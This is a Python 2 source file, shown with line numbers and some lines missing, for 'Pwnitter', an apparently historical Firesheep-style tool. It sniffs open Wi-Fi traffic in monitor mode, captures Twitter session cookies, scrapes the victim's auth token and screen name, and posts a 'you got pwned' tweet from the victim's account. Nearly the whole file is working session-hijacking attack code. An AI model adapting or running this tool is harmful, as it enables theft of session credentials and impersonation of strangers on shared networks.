3 # * apt-get install libpcap0.8 python-pypcap python-dpkt
4 # * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 # * ./idiocy.py -i mon0
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
19 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
22 print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
25 NAME = 'de.cryptobitch.muelli.Pwnitter'
27 class Pwnitter(dbus.service.Object):
28 def __init__(self, bus, object_name, device='mon0', run_once_only=False):
29 super(Pwnitter, self).__init__(bus, object_name)
33 self.is_running = False
34 self.run_once_only = run_once_only
36 def setup_monitor(device='mon0'):
37 # FIXME: Replace hardcoded interface
38 cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
40 cmd = '/sbin/ifconfig mon0 up'.split()
43 @dbus.service.method(NAME,
44 in_signature='', out_signature='')
45 def Start(self, filename=None):
46 # FIXME: Prevent double Start()
47 if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
48 self.setup_monitor(device)
50 else: # We have given a filename, so let's make PCap read from the file
52 self.is_running = True
54 self.cap = pcap.pcap(device)
56 print "Error setting up %s" % device
58 self.cap.setfilter('dst port 80')
59 cap_fileno = self.cap.fileno()
60 self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
62 @dbus.service.method(NAME,
63 in_signature='s', out_signature='')
64 def StartFromFile(self, filename):
65 return self.Start(filename=filename)
68 def cap_readable_callback(self, source, condition, device):
69 return self.pwn(device, self.MessageSent)
71 @dbus.service.signal(NAME)
72 def MessageSent(self, who):
73 print "Emitting MessageSent"
78 @dbus.service.method(NAME,
79 in_signature='s', out_signature='')
80 def SetMessage(self, message):
83 @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
84 in_signature='', out_signature='s')
89 def tear_down_monitor(self, device='mon0'):
90 cmd = '/sbin/ifconfig mon0 down'.split()
92 cmd = '/usr/sbin/iw dev mon0 del'.split()
95 @dbus.service.method(NAME,
96 in_signature='', out_signature='')
98 self.is_running = False
100 gobject.source_remove(self.source_id)
101 self.tear_down_monitor(self.device)
105 def pwn(self, device, tweeted_callback=None):
106 log = logging.getLogger('pwn')
109 if self.is_running: # This is probably not needed, but I feel better checking it more than too less
110 ts, raw = self.cap.next()
111 eth = dpkt.ethernet.Ethernet(raw)
112 log.debug('got a packet')
113 # Depending on platform, we can either get fully formed packets or unclassified radio data
114 if isinstance(eth.data, str):
117 data = eth.data.data.data
119 hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
121 log.debug('Host matched')
122 host = hostMatches.group(1)
124 cookieMatches = re.search('Cookie: ([^\n]+)', data)
125 log.debug('CookieMatches? %r', cookieMatches)
127 cookie = cookieMatches.group(1)
128 log.debug('yummie Cookie %r', cookie)
131 "User-Agent": "Mozilla/5.0",
136 page = urllib2.urlopen("https://%s/" % host).read()
137 except socket.error, e:
140 log.debug('Connected to host %s', host)
142 # Newtwitter and Oldtwitter have different formatting, so be lax
145 formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
147 authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
150 authToken = authMatches.group(1)
151 log.info('Found auth token %r', authToken)
153 nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
155 nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
159 name = nameMatches.group(1)
160 log.info('Found name %r', name)
163 # We don't want to repeatedly spam people
164 # Also proceed if we didn't find a name but are on the mobile page
165 if not (name in processed) or ((not name) and host == 'mobile.twitter.com'):
167 "User-Agent": "Mozilla/5.0",
168 "Accept": "application/json, text/javascript, */*",
169 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
170 "X-Requested-With": "XMLHttpRequest",
172 "Referer": "http://api.twitter.com/p_receiver.html",
177 log.debug('Issueing connection')
178 if self.run_once_only: # If we wanted to run once only, we make it stop now
179 self.is_running = False
180 if host == 'mobile.twitter.com':
182 params = urllib.urlencode({
183 'tweet[text]': self.status,
184 'authenticity_token': authToken
187 conn = httplib.HTTPConnection("mobile.twitter.com")
188 conn.request("POST", "/", params, headers)
192 params = urllib.urlencode({
193 'status': self.status,
194 'post_authenticity_token': authToken
197 conn = httplib.HTTPConnection("api.twitter.com")
198 conn.request("POST", "/1/statuses/update.json", params, headers)
201 response = conn.getresponse()
202 log.debug('Got response: %s', response.status)
203 if response.status == 200 or response.status == 302 or response.status == 403:
208 # 403 is a dupe tweet
209 if response.status != 403:
210 log.info("Successfully tweeted as %s", name)
212 tweeted_callback(name)
214 log.info('Already tweeted as %s', name)
218 log.error("FAILED to tweet as %s, debug follows:", name)
219 log.error("%s, %s", response.status, response.reason)
220 log.error("%s", response.read())
222 return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
223 # FIXME: Ideally, check whether Pcap has got data for us
227 opts, args = getopt.getopt(sys.argv[1:], 'i:h')
238 if __name__ == '__main__':
239 from optparse import OptionParser
240 parser = OptionParser("usage: %prog [options]")
241 parser.add_option("-l", "--loglevel", dest="loglevel",
242 help="Sets the loglevel to one of debug, info, warn, error, critical")
243 parser.add_option("-s", "--session", dest="use_session_bus",
244 action="store_true", default=False,
245 help="Bind Pwnitter to the SessionBus instead of the SystemBus")
246 parser.add_option("-1", "--single", dest="run_once_only",
247 action="store_true", default=False,
248 help="Make it send a single message only")
249 (options, args) = parser.parse_args()
250 loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
251 'warn': logging.WARN, 'error': logging.ERROR,
252 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
253 logging.basicConfig(level=loglevel)
254 #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
255 log = logging.getLogger("Main")
257 dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
259 if options.use_session_bus:
260 session_bus = dbus.SessionBus()
262 session_bus = dbus.SystemBus()
263 name = dbus.service.BusName(NAME, session_bus)
264 pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
267 loop = gobject.MainLoop()
268 log.info("Running example signal emitter service.")
269 # FIXME: This is debug code
270 #gobject.idle_add(pwnitter.MessageSent)
273 print "Exiting for whatever reason"